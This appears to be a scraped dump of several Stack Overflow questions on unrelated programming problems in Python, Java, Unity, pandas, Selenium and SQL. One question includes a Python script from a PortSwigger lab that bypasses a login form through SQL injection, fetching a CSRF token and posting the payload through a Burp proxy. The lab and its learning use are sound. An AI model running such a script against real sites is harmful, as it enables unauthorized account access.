</tbody>
</table>
</div>
<p>I've tried different things, like "delimiter" but didn't make everything right.</p>
<p>Can anyone help me?</p>
<pre><code>
def csvEXP(): #csv export
with open('RW_database.csv', 'w', encoding='UTF8') as csvfile:
writer = csv.DictWriter(csvfile, dict)
# write the header
writer.writeheader()
# write the data
for row in dict["Steps"]:
writer.writerow(dict)
</code></pre>
<p>Result of this code is this:</p>
<pre><code>|Steps|x|
|-|-|
|{-1, 5, 2, 6, 73, 23, etc...}|{-1, 5, 2, 6, 73, 23, etc...}|
|{-1, 5, 2, 6, 73, 23, etc...}|{-1, 5, 2, 6, 73, 23, etc...}|
|{-1, 5, 2, 6, 73, 23, etc...}|{-1, 5, 2, 6, 73, 23, etc...}|
|{-1, 5, 2, 6, 73, 23, etc...}|{-1, 5, 2, 6, 73, 23, etc...}|
|etc.|etc.|
</code></pre>
<p>The WHOLE DICTIONARY.</p>
| [
{
"answer_id": 74186148,
"author": "Ricardo Semião e Castro",
"author_id": 13048728,
"author_profile": "https://Stackoverflow.com/users/13048728",
"pm_score": 1,
"selected": false,
"text": "x = \"!^GATTACA\"\n"
},
{
"answer_id": 74186154,
"author": "Rui Barradas",
"author... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185913",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/18107998/"
] |
74,185,970 | <p>The code :</p>
<pre><code>import java.io.File;
import java.util.Scanner;
class Main {
public static void main(String[] args) throws Exception{
//code
int max = 0;
int count = 0;
String rep_word = "none";
File myfile = new File("rough.txt");
Scanner reader = new Scanner(myfile);
Scanner sub_reader = new Scanner(myfile);
while (reader.hasNextLine()) {
String each_word = reader.next();
while (sub_reader.hasNextLine()){
String check = sub_reader.next();
if (check == each_word){
count+=1;
}
}
if (max<count){
max = count;
rep_word = each_word;
}
}
System.out.println(rep_word);
reader.close();
sub_reader.close();
}
}
</code></pre>
<p>the rough.txt file :</p>
<p><a href="https://i.stack.imgur.com/7NkWc.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/7NkWc.png" alt="hi hello
hey
hehe
what hi
No" /></a></p>
<p>I want to return the most repetitive word from the text file without using arrays.
I'm not getting the desired output. i found that the if statement is not satisfying even when the variable 'check' and 'each_word' are same, I dont understand where i went wrong.</p>
| [
{
"answer_id": 74186400,
"author": "Nowhere Man",
"author_id": 13279831,
"author_profile": "https://Stackoverflow.com/users/13279831",
"pm_score": 3,
"selected": false,
"text": "HashMap"
},
{
"answer_id": 74186730,
"author": "moussaEL",
"author_id": 18290052,
"author_... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185970",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20104481/"
] |
74,185,982 | <p>I am trying to make a dash/charge attack towards the cursor position with a max dash length and I am unsure how to do it as I am very new to Unity and coding in general.</p>
<p>It would be similar to this code except instead of teleporting the character would dash.</p>
<pre><code>if (Physics.Raycast(ray, out hit, rayLength, layerMask) && Input.GetMouseButtonDown(1))
{
Vector3 hitPosition = new Vector3(hit.point.x, transform.position.y, hit.point.z);
player.transform.position = hitPosition;
}
</code></pre>
| [
{
"answer_id": 74186400,
"author": "Nowhere Man",
"author_id": 13279831,
"author_profile": "https://Stackoverflow.com/users/13279831",
"pm_score": 3,
"selected": false,
"text": "HashMap"
},
{
"answer_id": 74186730,
"author": "moussaEL",
"author_id": 18290052,
"author_... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185982",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/19223805/"
] |
74,186,007 | <p>I have this python dictionary:</p>
<pre><code>dictionary = {
'1':'A',
'2':'B',
'3':'C',
'4':'D',
'5':'E',
'6':'F',
'7':'G',
'8':'H',
'8':'I',
'9':'J',
'0':'L'
}
</code></pre>
<p>The I have created this simple pandas dataframe:</p>
<pre><code>import pandas as pd
ds = {'col1' : [12345,67890], 'col2' : [12364,78910]}
df = pd.DataFrame(data=ds)
print(df)
</code></pre>
<p>Which looks like this:</p>
<pre><code> col1 col2
0 12345 12364
1 67890 78910
</code></pre>
<p>I would like to transform each and every digit in <code>col1</code> (which is an <code>int</code> field) to the correspondent letter as per dictionary indicated above. So, basically I'd like the resulting dataframe to look like this:</p>
<pre><code> col1 col2 col1_transformed
0 12345 12364 ABCDE
1 67890 78910 FGHIJ
</code></pre>
<p>Is there a quick, pythonic way to do so by any chance?</p>
| [
{
"answer_id": 74186111,
"author": "PaulS",
"author_id": 11564487,
"author_profile": "https://Stackoverflow.com/users/11564487",
"pm_score": 3,
"selected": true,
"text": "8"
},
{
"answer_id": 74186143,
"author": "Andrej Kesely",
"author_id": 10035985,
"author_profile"... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74186007",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/15439524/"
] |
74,186,012 | <p>I am trying to build my first python selenium bot that checks me into southwest automatically. I've got the code to open southwests' check-in site, but it doesn't type anything. Can anyone tell me what I am doing wrong?</p>
<pre><code>from selenium import webdriver
driver = webdriver.Chrome('/Users/thomas****/chromedriver/chromedriver')
driver.get('https://www.southwest.com/air/check-in/index.html')
conf_num = driver.find_element_by_id("confirmationNumber")
first_name = driver.find_element_by_id("passengerFirstName")
last_name = driver.find_element_by_id("passengerLastName")
conf_num.send_keys("1234")
first_name.send_keys("Thomas")
last_name.send_keys("****")
submit = driver.find_element_by_id('form-mixin--submit-button')
submit.click()
</code></pre>
| [
{
"answer_id": 74186111,
"author": "PaulS",
"author_id": 11564487,
"author_profile": "https://Stackoverflow.com/users/11564487",
"pm_score": 3,
"selected": true,
"text": "8"
},
{
"answer_id": 74186143,
"author": "Andrej Kesely",
"author_id": 10035985,
"author_profile"... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74186012",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20324640/"
] |
74,186,031 | <p>I have this HTML code that I'm writing for an app that I like to call Ceremony Script Generator. On the Wedding Ceremony Builder section of this app, there's a page I'm writing about extra ceremonies. However, I'm having trouble building a button that says, "Disable These". I want to make it a toggle button, but I'm not sure how to do this with HTML code. Here's the code I have so far. Tell me if this looks right to you. How shall I send the code?</p>
| [
{
"answer_id": 74186111,
"author": "PaulS",
"author_id": 11564487,
"author_profile": "https://Stackoverflow.com/users/11564487",
"pm_score": 3,
"selected": true,
"text": "8"
},
{
"answer_id": 74186143,
"author": "Andrej Kesely",
"author_id": 10035985,
"author_profile"... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74186031",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20324601/"
] |
74,186,039 | <p>I have a column with the weekday, another with the month and another with the year. How do I get the actual date in python?</p>
| [
{
"answer_id": 74186067,
"author": "jliu",
"author_id": 9419260,
"author_profile": "https://Stackoverflow.com/users/9419260",
"pm_score": 0,
"selected": false,
"text": "import datetime\n\nx = datetime.datetime(year, month, day)\n\nprint(x)\n"
},
{
"answer_id": 74186081,
"auth... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74186039",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20223031/"
] |
74,186,048 | <p>Is there a way I can declare the same helper method, using let, inside of the same example group, but let it return different values in different expectation?</p>
<p>It would be something like</p>
<pre><code>describe MyClass do
subject(:my_obj) { described_class.new(my_var) }
describe '#my_method' do
context 'some context' do
let(:my_var) { 0 }
# expectation that involves my_var
let(:my_var) { 1 }
# expectation that involves my_var
end
end
end
</code></pre>
<p>A solution would be to provide different contexts for each of the expectation, but is it possible to solve this without adding more contexts?</p>
| [
{
"answer_id": 74186067,
"author": "jliu",
"author_id": 9419260,
"author_profile": "https://Stackoverflow.com/users/9419260",
"pm_score": 0,
"selected": false,
"text": "import datetime\n\nx = datetime.datetime(year, month, day)\n\nprint(x)\n"
},
{
"answer_id": 74186081,
"auth... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74186048",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/17791373/"
] |
74,186,059 | <p>I've created a Google Spreadsheet that helps assist me in creating products for my company's website. We have a field that allows us to create the seo keyword part of the URL in relation to that particular product. So, ideally, the url would look like:
<code>www.example.com/gold-blue-glass-ornament-collection-set-of-3.</code></p>
<p>Excluding the domain, the spreadsheet only needs the SEO Keyword which is this:
<code>gold-blue-glass-ornament-collection-set-of-3</code>. I would like to be able to filter out multiple characters, such as the ampersand, parenthesis, apostrophes, and double hyphens. I've completed all but the last one and I am stuck with this last bit.</p>
<p>My formula is:</p>
<blockquote>
<p>LOWER(REGEXREPLACE(SUBSTITUTE(C2, " ", "-"),"[\&(\)/']",""))</p>
</blockquote>
<p>The information currently comes from an adjacent column with the title of the product. Title being in this instance: <code>Gold & Blue Glass Ornament Collection (Set of 3)</code>. I have tried multiple variations of the RegEx, and the substitute which ends up with something like:
<code>gold--blue-glass-ornament-collection-set-of-3</code> where the ampersand gives me a double hyphen.</p>
<p>Any suggestions?</p>
<p><strong>EDIT VISUAL ADDITION</strong></p>
<p><a href="https://i.stack.imgur.com/0twyl.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/0twyl.png" alt="google sheets example of output" /></a></p>
<p><strong>EDIT:</strong> I didn't realize my quote didn't put my original escape characters in the initial formula, so this has been updated!</p>
<p><strong>Third Edit: Since I'm a newbie in terms of writing questions:</strong></p>
<div class="s-table-container">
<table class="s-table">
<thead>
<tr>
<th>Input</th>
<th>Output</th>
<th>Desired Output</th>
</tr>
</thead>
<tbody>
<tr>
<td>Gold & Blue Glass Ornament Collection (Set of 3)</td>
<td>gold--blue-glass-ornament-collection-set-of-3</td>
<td>gold-blue-glass-ornament-collection-set-of-3</td>
</tr>
<tr>
<td>Poppies Glass Ornament Collection (Set of 3)</td>
<td>poppies-glass-ornament-collection-set-of-3</td>
<td></td>
</tr>
<tr>
<td>Calla Lilies Glass Ornament Collection (Set of 3)</td>
<td>calla-lilies-glass-ornament-collection-set-of-3</td>
<td></td>
</tr>
<tr>
<td>The Flamingoes Glass Ornament Collection (Set of 3)</td>
<td>the-flamingoes-glass-ornament-collection-set-of-3</td>
<td></td>
</tr>
<tr>
<td>Japanese Bridge Glass Ornament Collection (Set of 3)</td>
<td>japanese-bridge-glass-ornament-collection-set-of-3</td>
<td></td>
</tr>
<tr>
<td>Van Gogh's Specialty Glass Ornament Collection (Set of 3)</td>
<td>van-goghs-glass-ornament-collection-set-of-3</td>
<td></td>
</tr>
</tbody>
</table>
</div> | [
{
"answer_id": 74186067,
"author": "jliu",
"author_id": 9419260,
"author_profile": "https://Stackoverflow.com/users/9419260",
"pm_score": 0,
"selected": false,
"text": "import datetime\n\nx = datetime.datetime(year, month, day)\n\nprint(x)\n"
},
{
"answer_id": 74186081,
"auth... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74186059",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5390521/"
] |
74,186,093 | <p>I would like to find rows in following table, which contain repeated email addresses. I create an extra column in the dataframe in the following code with value 'ja', when an email address is repeated. This is fine for a small number of rows (150). For large number of rows (30000), the script hangs. Any better ways to loop over the rows?</p>
<pre><code>import pandas as pd
data={'Name':['Danny','Damny','Monny','Quony','Dimny','Danny'],
'Email':['danny@gmail.com','danny@gmail.com','monny@gmail.com','quony@gmail.com','danny@gmail.com','danny@gmail.com']}
df=pd.DataFrame(data)
df['email_repeated']=None
col_email=df.columns.get_loc("Email")
row_count=len(df.index)
for i in range(0,row_count):
for k in range(0,row_count):
emailadres=df.iloc[i,col_email]
if k!=i:
if emailadres==df.iloc[k,col_email]:
df['email_repeated'][k] = 'ja'
</code></pre>
| [
{
"answer_id": 74186230,
"author": "Emma",
"author_id": 2956135,
"author_profile": "https://Stackoverflow.com/users/2956135",
"pm_score": 2,
"selected": false,
"text": "groupby"
},
{
"answer_id": 74186267,
"author": "chrslg",
"author_id": 20037042,
"author_profile": "... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74186093",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/12985084/"
] |
74,186,099 | <p>i have a document structure like this:</p>
<pre><code>{
"_id": "...",
"shop": "pepe",
"fruits": [
{
"name": "banana",
"taste": "sweet",
},
]
}
</code></pre>
<p>Now i want to change the type of fruits.taste to an array like this: <code>"taste": ["sweet"]</code></p>
<p>So the result should be this:</p>
<pre><code>{
"_id": "...",
"shop": "pepe",
"fruits": [
{
"name": "banana",
"taste": ["sweet"],
},
]
}
</code></pre>
<p>i was trying to do that like this in a mongo playground query but that does not work:</p>
<pre><code>db.getCollection('shops')
.find()
.forEach(function(document) {
db.shops.update(
{ _id: document._id },
{ $set: { "document.fruits.$[].taste": [document.fruits.$.taste] } }
);
})
</code></pre>
<p>How can i change in objects, which are in an array, a value from string to an array of string ?</p>
<p>Thanks for your help!</p>
| [
{
"answer_id": 74186230,
"author": "Emma",
"author_id": 2956135,
"author_profile": "https://Stackoverflow.com/users/2956135",
"pm_score": 2,
"selected": false,
"text": "groupby"
},
{
"answer_id": 74186267,
"author": "chrslg",
"author_id": 20037042,
"author_profile": "... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74186099",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/19565276/"
] |
74,186,124 | <p>Below is my code, I am trying to get tip amount with different tip option and tip amount should be a 2 decimal places but didn't get the result</p>
<pre><code>bill_amount = float(input('How much is the bill? $'))
ten = float((bill_amount / 100) * 10)
fifteen = float((bill_amount / 100) * 15)
twenty = float((bill_amount / 100) * 20)
tip_option = input('Tip Options: ')
print('10% Tip amount is', {'ten.2f'})
print('15% Tip amount is', {'fifteen.2f'})
print('20% Tip amount is', {'twenty.2f'})
</code></pre>
| [
{
"answer_id": 74186176,
"author": "fanofcomputers",
"author_id": 20294851,
"author_profile": "https://Stackoverflow.com/users/20294851",
"pm_score": 0,
"selected": false,
"text": "print('10% Tip amount is {amount:.2f}'.format(amount = ten))\n"
},
{
"answer_id": 74186187,
"au... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74186124",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20323620/"
] |
74,186,157 | <p>I have a 2d numpy array <code>psi</code> with shape <code>(nx,ny)</code>. I want to create a new array <code>phi</code> of the same shape where for each element <code>phi[i][j]</code> I need to evaluate an expression containing <code>psi[i][j]</code> and neighboring elements <code>psi[i-1][j]</code>,<code>psi[i+1][j]</code>,<code>psi[i][j+1]</code> and <code>psi[i][j-1]</code>,except for edge cases where any of these neighbors are not in the bounds of <code>psi</code>, treat that element as <code>0</code> in the expression.</p>
<p>I can implement this using nested for loops and checking for boundary conditions, but I would like to perform this operation as time efficient as possible. I've tried by assigning</p>
<p><code>phi[1:-1,1:-1] = f(psi[1:-1,1:-1], psi[0:-2,1:-1], psi[2:,1:-1], psi[1:-1,0:-2], psi[1:-1,2:])</code></p>
<p>but this does not cover edge cases which get messy, so if there were some conditional way to only reference when within bounds else just be <code>0</code> it might work. Or, of course, if there is an even more time efficient way that would be better.</p>
| [
{
"answer_id": 74186176,
"author": "fanofcomputers",
"author_id": 20294851,
"author_profile": "https://Stackoverflow.com/users/20294851",
"pm_score": 0,
"selected": false,
"text": "print('10% Tip amount is {amount:.2f}'.format(amount = ten))\n"
},
{
"answer_id": 74186187,
"au... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74186157",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20324675/"
] |
74,186,169 | <p>am following a tutorial on Youtube where we learn SQL injection on portswigger platform
and we write the exploit as script with python, am using kali linux as virtual machine, am suffering from proxy error and i didn't know what to search for other than stackoverflow with no benefit answers. now here is my python code first :</p>
<pre><code>import requests
import sys
import urllib3
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# the purpose of proxy is to proxy to myself in order to pass my request through burpsuit
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}
def get_csrf_token(s, url):
r = s.get(url, verify=False, proxies=proxies)
soup = BeautifulSoup(r.text, 'html.parser')
csrf = soup.find("input")['value']
return csrf
def exploit_sqli(s, url, payload):
csrf = get_csrf_token(s, url)
data = {"csrf": csrf,
"username": payload,
"password": "randomtext"}
r = s.post(url, data=data, verify=False, proxies=proxies)
res = r.text
if "Log out" in res:
return True
else:
return False
if __name__ == "__main__":
try:
url = sys.argv[1].strip()
sqli_payload = sys.argv[2].strip()
except IndexError:
print('[-] Usage: %s <url> <sql-payload>' % sys.argv[0])
print('[-] Example: %s www.example.com "1=1"' % sys.argv[0])
s = requests.Session()
if exploit_sqli(s, url, sqli_payload):
print('[+] SQL injection successful! We have logged in as the administrator user.')
else:
print('[-] SQL injection unsuccessful.')
</code></pre>
<p>and am suffering of runtime error and here is my track trace:</p>
<blockquote>
<p>Traceback (most recent call last): File
"/home/kali/.local/lib/python3.10/site-packages/urllib3/connectionpool.py",
line 700, in urlopen
self._prepare_proxy(conn) File "/home/kali/.local/lib/python3.10/site-packages/urllib3/connectionpool.py",
line 996, in _prepare_proxy
conn.connect() File "/home/kali/.local/lib/python3.10/site-packages/urllib3/connection.py",
line 364, in connect
self.sock = conn = self._connect_tls_proxy(hostname, conn) File "/home/kali/.local/lib/python3.10/site-packages/urllib3/connection.py",
line 499, in <em>connect_tls_proxy
socket = ssl_wrap_socket( File "/home/kali/.local/lib/python3.10/site-packages/urllib3/util/ssl</em>.py",
line 453, in ssl_wrap_socket
ssl_sock = <em>ssl_wrap_socket_impl(sock, context, tls_in_tls) File "/home/kali/.local/lib/python3.10/site-packages/urllib3/util/ssl</em>.py",
line 495, in _ssl_wrap_socket_impl
return ssl_context.wrap_socket(sock) File "/usr/lib/python3.10/ssl.py", line 513, in wrap_socket
return self.sslsocket_class._create( File "/usr/lib/python3.10/ssl.py", line 1071, in _create
self.do_handshake() File "/usr/lib/python3.10/ssl.py", line 1342, in do_handshake
self._sslobj.do_handshake() ssl.SSLError: [SSL: WRONG_VERSION_NUMBER] wrong version number (_ssl.c:997)</p>
<p>During handling of the above exception, another exception occurred:</p>
<p>Traceback (most recent call last): File
"/home/kali/.local/lib/python3.10/site-packages/requests/adapters.py",
line 489, in send
resp = conn.urlopen( File "/home/kali/.local/lib/python3.10/site-packages/urllib3/connectionpool.py",
line 787, in urlopen
retries = retries.increment( File "/home/kali/.local/lib/python3.10/site-packages/urllib3/util/retry.py",
line 592, in increment
raise MaxRetryError(_pool, url, error or ResponseError(cause)) urllib3.exceptions.MaxRetryError:
HTTPSConnectionPool(host='0a0000f503d3bb1ac1b8273000b600cb.web-security-academy.net',
port=443): Max retries exceeded with url: /login (Caused by
ProxyError('Your proxy appears to only use HTTP and not HTTPS, try
changing your proxy URL to be HTTP. See:
<a href="https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#https-proxy-error-http-proxy%27" rel="nofollow noreferrer">https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#https-proxy-error-http-proxy'</a>,
SSLError(SSLError(1, '[SSL: WRONG_VERSION_NUMBER] wrong version number
(_ssl.c:997)'))))</p>
<p>During handling of the above exception, another exception occurred:</p>
<p>Traceback (most recent call last): File
"/home/kali/Desktop/machines/portSwiggerLabs/sqlInjection/lab-02/sql-lab-02.py",
line 43, in
if exploit_sqli(s, url, sqli_payload): File "/home/kali/Desktop/machines/portSwiggerLabs/sqlInjection/lab-02/sql-lab-02.py",
line 21, in exploit_sqli
csrf = get_csrf_token(s, url) File "/home/kali/Desktop/machines/portSwiggerLabs/sqlInjection/lab-02/sql-lab-02.py",
line 12, in get_csrf_token
r = s.get(url, verify=False, proxies=proxies) File "/home/kali/.local/lib/python3.10/site-packages/requests/sessions.py",
line 600, in get
return self.request("GET", url, **kwargs) File "/home/kali/.local/lib/python3.10/site-packages/requests/sessions.py",
line 587, in request
resp = self.send(prep, **send_kwargs) File "/home/kali/.local/lib/python3.10/site-packages/requests/sessions.py",
line 701, in send
r = adapter.send(request, **kwargs) File "/home/kali/.local/lib/python3.10/site-packages/requests/adapters.py",
line 559, in send
raise ProxyError(e, request=request) requests.exceptions.ProxyError:
HTTPSConnectionPool(host='0a0000f503d3bb1ac1b8273000b600cb.web-security-academy.net',
port=443): Max retries exceeded with url: /login (Caused by
ProxyError('Your proxy appears to only use HTTP and not HTTPS, try
changing your proxy URL to be HTTP. See:
<a href="https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#https-proxy-error-http-proxy%27" rel="nofollow noreferrer">https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#https-proxy-error-http-proxy'</a>,
SSLError(SSLError(1, '[SSL: WRONG_VERSION_NUMBER] wrong version number
(_ssl.c:997)'))))</p>
</blockquote>
<p>i tried to check my localhost(127.0.0.1) ip if it's another one or maybe not configured or anything related and I didn't reach any result</p>
| [
{
"answer_id": 74186225,
"author": "DJ Cook",
"author_id": 16817752,
"author_profile": "https://Stackoverflow.com/users/16817752",
"pm_score": 0,
"selected": false,
"text": "Caused by ProxyError('Your proxy appears to only use HTTP and not HTTPS, try changing your proxy URL to be HTTP. S... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74186169",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/10395795/"
] |
74,186,200 | <p>My goal is to only select rows of a certain type that is dependent on the @Daily parameter, I am wondering whether its possible to use an IN statement within a case statement.. Below is how I've currently got this working in two separate statements, but as you can see most of the code is redundant other than the where clause of each statement.</p>
<pre><code>IF @Daily = 1
SELECT DISTINCT Column001, Column002, Column003, Column004
FROM table1
INNER JOIN table2 ON table2.Ref = table1.Ref
INNER JOIN table3 ON table3.Ref= table2.Ref
WHERE table3.Type IN (1, 2, 3, 4)
IF @Daily = 0
SELECT DISTINCT Column001, Column002, Column003, Column004
FROM table1
INNER JOIN table2 ON table2.Ref = table1.Ref
INNER JOIN table3 ON table3.Ref= table2.Ref
WHERE table3.Type IN (5, 6, 7, 8)
</code></pre>
<p>This isn't valid syntax but I was wondering whether something like this was possible?</p>
<pre><code>SELECT DISTINCT Column001, Column002, Column003, Column004
FROM table1
INNER JOIN table2 ON table2.Ref = table1.Ref
INNER JOIN table3 ON table3.Ref= table2.Ref
WHERE CASE WHEN @Daily = 1 THEN table3.Type IN (1, 2, 3, 4)
WHEN @Daily = 0 THEN table3.Type IN (5, 6, 7, 8)
END;
</code></pre>
<p>Is something like this possible? Unfortunately I can't add a daily flag onto the table itself for this task which would have bene nice to have.</p>
| [
{
"answer_id": 74186225,
"author": "DJ Cook",
"author_id": 16817752,
"author_profile": "https://Stackoverflow.com/users/16817752",
"pm_score": 0,
"selected": false,
"text": "Caused by ProxyError('Your proxy appears to only use HTTP and not HTTPS, try changing your proxy URL to be HTTP. S... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74186200",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/15259502/"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.